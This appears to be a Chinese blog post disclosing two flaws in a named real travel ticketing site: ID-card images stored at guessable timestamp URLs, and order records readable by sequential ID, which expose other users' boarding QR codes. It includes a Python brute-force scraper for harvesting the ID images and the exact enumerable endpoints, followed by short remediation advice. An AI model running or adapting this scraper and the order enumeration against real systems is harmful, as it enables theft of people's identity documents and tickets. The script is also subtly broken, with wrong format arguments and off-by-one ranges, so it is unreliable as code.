在今晚抢这个免费票的时候,发现这网站(http://www.guilinchuxingwang.com)注册还要上传身份证- -为了保证信息安全,就顺手看了看 =。=没想到还挺有意思的。
1.身份证图片上传地址猜测漏洞
图片的地址格式类似于
http://image.db.guilinchuxingwang.com/四位年份/不补零月份/不补零日子/PIC{两位数年份}{两位数月份,补零}{两位数日子,补零}{两位小时,补零}{两位分钟,补零}{两位秒,补零}{三位毫秒,补零}.jpg
写个小爬虫,就可以爬取了。
import requests year = 2017 month = 7 day = 18 for hour in range(0, 23): for minute in range(0, 59): for second in range(0, 59): for millsecond in range(0, 999): url = "http://image.db.guilinchuxingwang.com/" +str(year)+ "/" +str(month)+ "/" +str(day)+ "/PIC{:0>2d}{:0>2d}{:0>2d}{:0>2d}{:0>2d}{:0>2d}{:0>3d}.jpg\n".format(year%2000, hour, day, hour, minute, second, millsecond) r = requests.get(url) if(r.status_code == 200): print(url + "\n")
修复方法:不要将图片放在直接可以访问的地址,用程序来读取图片然后展示,加好权鉴。要不这样做的话,最起码文件名得随机吧。
2.订单任意读取漏洞
这个地址
http://pc.db.guilinchuxingwang.com/user/logined/tour/getMyOrderInfo?orderId={订单号}
从1开始的订单号,比如
我输入一个550,就可以看到别人的订单了。
拿到主车票编码后,就可以拿到上车的二维码了。
http://api.db.gldingyao.com/user/tour/toVerifyTicket?code=TO1707190647249429
修复方法:对订单读取加强权鉴。